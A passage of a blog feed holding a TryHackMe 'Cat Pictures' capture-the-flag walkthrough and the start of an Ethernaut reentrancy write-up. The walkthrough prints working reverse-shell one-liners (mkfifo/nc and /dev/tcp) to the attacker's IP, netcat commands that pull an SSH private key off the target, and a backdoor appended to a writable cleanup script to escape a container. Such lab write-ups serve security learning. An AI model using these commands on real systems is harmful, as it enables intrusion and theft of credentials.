|_http-server-header: Apache/2.4.46 &lt;span class="o"&gt;(&lt;/span&gt;Unix&lt;span class="o"&gt;)&lt;/span&gt; OpenSSL/1.1.1d PHP/7.3.27
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Cat Pictures - Index page
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
49159/tcp filtered unknown
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 12:17
Completed NSE at 12:17, 0.00s elapsed
Initiating NSE at 12:17
Completed NSE at 12:17, 0.00s elapsed
Initiating NSE at 12:17
Completed NSE at 12:17, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ &lt;span class="nb"&gt;.&lt;/span&gt;
Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;95.93 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So this machine comes with a bunch of ports including 8080 so lets look into the website.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--F14vOtXr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ykw26o8bq4k7kl5h9ki9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--F14vOtXr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ykw26o8bq4k7kl5h9ki9.png" alt="Image description" width="800" height="368"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I was expecting forums full of cattos but oh well. Lets look further into it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hxd7S3vf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j7t7hiheg2p1ufwn8nhi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hxd7S3vf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j7t7hiheg2p1ufwn8nhi.png" alt="Image description" width="800" height="368"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The website gives a hint of &lt;code&gt;Knock knock! Magic Numbers: 1111, 2222, 3333, 4444&lt;/code&gt; which seems like port numbers so lets try Port Knocking.&lt;/p&gt;

&lt;p&gt;Port Knocking is basically trying to access a &lt;code&gt;filtered&lt;/code&gt; port in order to unlock it &lt;code&gt;open&lt;/code&gt;. I’m using a tool called &lt;code&gt;knockd&lt;/code&gt; to hit the ports.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;knock 10.10.248.4 &lt;span class="nt"&gt;-v&lt;/span&gt; 1111 2222 3333 4444
hitting tcp 10.10.248.4:1111
hitting tcp 10.10.248.4:2222
hitting tcp 10.10.248.4:3333
hitting tcp 10.10.248.4:4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After knocking on these ports lets do a &lt;code&gt;nmap&lt;/code&gt; scan again and we’ll see &lt;code&gt;ftp&lt;/code&gt; port now being opened.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.13.29.133
|      Logged &lt;span class="k"&gt;in &lt;/span&gt;as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session &lt;span class="nb"&gt;timeout &lt;/span&gt;&lt;span class="k"&gt;in &lt;/span&gt;seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|&lt;span class="k"&gt;*&lt;/span&gt;End of status
| ftp-anon: Anonymous FTP login allowed &lt;span class="o"&gt;(&lt;/span&gt;FTP code 230&lt;span class="o"&gt;)&lt;/span&gt;
|&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;    1 ftp      ftp           162 Apr 02  2021 note.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;nmap&lt;/code&gt; scan even shows a &lt;code&gt;note.txt&lt;/code&gt; file through the &lt;code&gt;anonymous ftp login&lt;/code&gt; so after picking it up from the &lt;code&gt;ftp&lt;/code&gt; it shows the following content.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;In case I forget my password, I'm leaving a pointer to the internal shell service on the server.

Connect to port 4420, the password is [password].
- catlover
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The note straight up tells us to login to port &lt;code&gt;4420&lt;/code&gt; with the given password.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;nc 10.10.248.4 4420                              
INTERNAL SHELL SERVICE
please note: &lt;span class="nb"&gt;cd &lt;/span&gt;commands &lt;span class="k"&gt;do &lt;/span&gt;not work at the moment, the developers are fixing it at the moment.
&lt;span class="k"&gt;do &lt;/span&gt;not use ctrl-c
Please enter password:
&lt;span class="o"&gt;[&lt;/span&gt;password]
Password accepted
&lt;span class="nb"&gt;ls
&lt;/span&gt;bin
etc
home
lib
lib64
opt
tmp
usr
&lt;span class="nb"&gt;ls &lt;/span&gt;home
catlover
&lt;span class="nb"&gt;ls &lt;/span&gt;home/catlover
runme
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After logging in and roaming around a bit we find the shell to be a bit limited with a directory called &lt;code&gt;catlover&lt;/code&gt; with a &lt;code&gt;runme&lt;/code&gt; file inside.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./home/catlover/runme
THIS EXECUTABLE DOES NOT WORK UNDER THE INTERNAL SHELL, YOU NEED A REGULAR SHELL.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Upon running the file it asks us to run it with a Regular Shell. So lets try to get one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls &lt;/span&gt;usr/bin
&lt;span class="nb"&gt;mkfifo
touch
&lt;/span&gt;wget
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Digging a little further, we see that the machine can run &lt;code&gt;mkfifo&lt;/code&gt;, &lt;code&gt;touch&lt;/code&gt; and &lt;code&gt;wget&lt;/code&gt;. Since &lt;code&gt;touch&lt;/code&gt; is to make files and &lt;code&gt;wget&lt;/code&gt; and only get from &lt;code&gt;ftp&lt;/code&gt;,&lt;code&gt;http&lt;/code&gt; and &lt;code&gt;https&lt;/code&gt; port we gotta go with &lt;code&gt;mkfifo&lt;/code&gt; so lets take help from &lt;a href="http://revshells.com"&gt;revshells.com&lt;/a&gt; and make a reverse shell using the &lt;code&gt;nc mkfifo&lt;/code&gt; method.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; /tmp/f&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;mkfifo&lt;/span&gt; /tmp/f&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/f|sh &lt;span class="nt"&gt;-i&lt;/span&gt; 2&amp;gt;&amp;amp;1|nc 10.13.29.133 9001 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/tmp/f
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start a &lt;code&gt;netcat&lt;/code&gt; listener and get the reverse shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;nc &lt;span class="nt"&gt;-nvlp&lt;/span&gt; 9001
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 9001 ...
connect to &lt;span class="o"&gt;[&lt;/span&gt;10.13.29.133] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;10.10.248.4] 56820
sh: 0: can&lt;span class="s1"&gt;'t access tty; job control turned off
# ls
bin
etc
home
lib
lib64
opt
tmp
usr
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With the new shell. Lets pick the &lt;code&gt;runme&lt;/code&gt; file by running the following command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;YOUR MACHINE IP] 443 &amp;lt; home/catlover/runme
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then start a &lt;code&gt;netcat&lt;/code&gt; listener on your machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-nlvp&lt;/span&gt; 443 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; runme
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After making the connection just Ctrl+C it and you’ll see the &lt;code&gt;runme&lt;/code&gt; file on your machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x runme

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;./runme
Please enter yout password: &lt;span class="o"&gt;[&lt;/span&gt;password]
Access Denied
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By trying to run it with the same old password it denies the access. Gotta analyze it. Lets use &lt;code&gt;strings&lt;/code&gt; for that.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;strings runme                          
/lib64/ld-linux-x86-64.so.2
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
_ZNSaIcED1Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
_ZSt3cin
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_
_ZNSt8ios_base4InitD1Ev
_ZNSolsEPFRSoS_E
__gxx_personality_v0
_ZNSaIcEC1Ev
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4dataEv
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
_ZNSt8ios_base4InitC1Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
_ZSt4cout
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv
_ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE
_Unwind_Resume
__stack_chk_fail
__cxa_atexit
memcmp
system
__cxa_finalize
__libc_start_main
libstdc++.so.6
libgcc_s.so.1
libc.so.6
GCC_3.0
CXXABI_1.3
GLIBCXX_3.4.21
GLIBCXX_3.4
GLIBC_2.4
GLIBC_2.2.5
u+UH
ATSH
&lt;span class="o"&gt;[&lt;/span&gt;A&lt;span class="se"&gt;\]&lt;/span&gt;
&lt;span class="o"&gt;[]&lt;/span&gt;A&lt;span class="se"&gt;\A&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;A^A_
&lt;span class="o"&gt;[&lt;/span&gt;password]
Please enter yout password: 
Welcome, catlover! SSH key transfer queued! 
&lt;span class="nb"&gt;touch&lt;/span&gt; /tmp/gibmethesshkey
Access Denied
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this, we can see the password so lets try it out.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;./runme
Please enter yout password: &lt;span class="o"&gt;[&lt;/span&gt;password]
Welcome, catlover! SSH key transfer queued!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By running it successfully it creates a file &lt;code&gt;/tmp/gibmethesshkey&lt;/code&gt; in our tmp folder. The file is of no use to us so lets try running the &lt;code&gt;runme&lt;/code&gt; file on the target machine with the password.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ./home/catlover/runme&lt;/span&gt;
Please enter yout password: &lt;span class="o"&gt;[&lt;/span&gt;password]
Welcome, catlover! SSH key transfer queued!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After doing it, we see that a new &lt;code&gt;id_rsa&lt;/code&gt; file has been created.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ls /home/catlover&lt;/span&gt;
id_rsa
runme
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;id_rsa&lt;/code&gt; is a file that serves as a key when logging through &lt;code&gt;ssh&lt;/code&gt;. As we see in our &lt;code&gt;nmap&lt;/code&gt; scan that we do have a &lt;code&gt;ssh&lt;/code&gt; port lets dive into it. Pick the file from server by the same &lt;code&gt;netcat&lt;/code&gt; method and run it with &lt;code&gt;ssh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Pick the &lt;code&gt;id_rsa&lt;/code&gt; file by running the following command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;YOUR MACHINE IP] 443 &amp;lt; home/catlover/id_rsa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then start a &lt;code&gt;netcat&lt;/code&gt; listener on your machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-nlvp&lt;/span&gt; 443 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; id_rsa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After making the connection just Ctrl+C it and you’ll see the &lt;code&gt;id_rsa&lt;/code&gt; file on your machine. Fix the permissions on it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;600 id_rsa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Time to do &lt;code&gt;ssh&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;ssh catlover@10.10.248.4 &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa
The authenticity of host &lt;span class="s1"&gt;'10.10.248.4 (10.10.248.4)'&lt;/span&gt; can&lt;span class="s1"&gt;'t be established.
ED25519 key fingerprint is SHA256:1eaD00/uot2wrnOhWADr5ZbjIDs9twYBymqkwtQKXk0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '&lt;/span&gt;10.10.248.4&lt;span class="s1"&gt;' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Sep  9 11:15:03 PDT 2023

  System load:  0.79               Users logged in:                0
  Usage of /:   37.2% of 19.56GB   IP address for eth0:            10.10.248.4
  Memory usage: 34%                IP address for br-98674f8f20f9: 172.18.0.1
  Swap usage:   0%                 IP address for docker0:         172.17.0.1
  Processes:    109

52 updates can be applied immediately.
25 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Last login: Fri Jun  4 14:40:35 2021
root@7546fa2336d6:/#
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aaaaand we got the shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@7546fa2336d6:/# &lt;span class="nb"&gt;ls &lt;/span&gt;root
flag.txt
root@7546fa2336d6:/# &lt;span class="nb"&gt;cat &lt;/span&gt;root/flag.txt
&lt;span class="o"&gt;[&lt;/span&gt;Flag 1]
root@7546fa2336d6:/# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As we can see we got the &lt;code&gt;root&lt;/code&gt; with the &lt;code&gt;flag&lt;/code&gt; but is the Root Flag itself? Nope. Upon submitting it we see it as being accepted as Flag 1 and not the Root Flag.&lt;/p&gt;

&lt;p&gt;That seems sus. Are we inside a docker container as &lt;code&gt;root&lt;/code&gt; then? One way to find it out. Look for &lt;code&gt;.dockerenv&lt;/code&gt; file in the &lt;code&gt;/&lt;/code&gt; directory.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@7546fa2336d6:/# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-al&lt;/span&gt;
total 108
drwxr-xr-x   1 root root 4096 Mar 25  2021 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x   1 root root 4096 Mar 25  2021 ..
&lt;span class="nt"&gt;-rw-------&lt;/span&gt;   1 root root  588 Jun  4  2021 .bash_history
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt;   1 root root    0 Mar 25  2021 .dockerenv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got em! Time to escape this container then. Searching inside of it we find a &lt;code&gt;/opt/clean/clean.sh&lt;/code&gt; file. This file seems to be editable so we’ll take advantage of reverse shell here.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@7546fa2336d6:/opt/clean# &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"bash -i &amp;gt;&amp;amp; /dev/tcp/10.13.29.133/443 0&amp;gt;&amp;amp;1"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; clean.sh  
root@7546fa2336d6:/opt/clean# &lt;span class="nb"&gt;cat &lt;/span&gt;clean.sh
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /tmp/&lt;span class="k"&gt;*&lt;/span&gt;
bash &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/10.13.29.133/443 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adding a reverse shell into the file we now make it executable and run it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@7546fa2336d6:/opt/clean# &lt;span class="nb"&gt;chmod&lt;/span&gt; +x clean.sh
root@7546fa2336d6:/opt/clean# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-al&lt;/span&gt;
total 16
drwxr-xr-x 2 root root 4096 May  1  2021 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxrwxr-x 1 root root 4096 Mar 25  2021 ..
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root   69 Sep 10 10:38 clean.sh
root@7546fa2336d6:/opt/clean# ./clean.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now opening our &lt;code&gt;netcat&lt;/code&gt; listener.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;nc &lt;span class="nt"&gt;-nvlp&lt;/span&gt; 443
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 443 ...
connect to &lt;span class="o"&gt;[&lt;/span&gt;10.13.29.133] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;10.10.136.91] 54742
bash: cannot &lt;span class="nb"&gt;set &lt;/span&gt;terminal process group &lt;span class="o"&gt;(&lt;/span&gt;2120&lt;span class="o"&gt;)&lt;/span&gt;: Inappropriate ioctl &lt;span class="k"&gt;for &lt;/span&gt;device
bash: no job control &lt;span class="k"&gt;in &lt;/span&gt;this shell
root@cat-pictures:~# &lt;span class="nb"&gt;id
id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;
root@cat-pictures:~# &lt;span class="nb"&gt;whoami
whoami
&lt;/span&gt;root
root@cat-pictures:~# &lt;span class="nb"&gt;hostname
hostname
&lt;/span&gt;cat-pictures
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now all we gotta do is see the flag and that’s the end of the road.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@cat-pictures:~# &lt;span class="nb"&gt;ls
ls
&lt;/span&gt;firewall
root.txt
root@cat-pictures:~# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
&lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
Congrats!!!
Here is your flag:

&lt;span class="o"&gt;[&lt;/span&gt;Root Flag]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hope you like this walkthrough. Happy Hacking!!&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>docker</category>
      <category>ctf</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>Ethernaut Level 10 Walkthrough - Re-entracy</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Thu, 24 Aug 2023 05:00:16 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/ethernaut-level-10-walkthrough-re-entracy-29k2</link>
      <guid>https://forem.com/hamzairshad02/ethernaut-level-10-walkthrough-re-entracy-29k2</guid>
      <description>&lt;p&gt;This level is about the most famous Smart Contract Vulnerability and it’s quite a simple but highly impactful logic flaw. Lets first look at the definition of Re-entracy.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A reentrancy attack occurs when a function makes an external call to another untrusted contract. Then the untrusted contract makes a recursive call back to the original function in an attempt to drain funds.&lt;/p&gt;

&lt;p&gt;When the contract fails to update its state before sending funds, the attacker can continuously call the withdraw function to drain the contract’s funds.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Although this definition talks in terms of fund transfer think of Re-entracy as a While loop that we use in programming. In a While loop, the looping process doesn’t end until a certain condition is met, so the set instructions inside the loop just keep running again and again. Something similar is happening in this level too. Let’s start by understanding the contract first.&lt;/p&gt;

&lt;p&gt;The contract starts off with importing SafeMath library and using it on uint256 to avoid Integer Arithmetic Error vulnerability. Well that’s cool but the contract is still vulnerable though. The next is a public variable “balances” which is a mapping of address as its key and uint as its value.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;'openzeppelin-contracts-06/math/SafeMath.sol'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Reentrance&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="n"&gt;SafeMath&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The very first function is “donate” through which someone can donate some funds to the contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;donate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

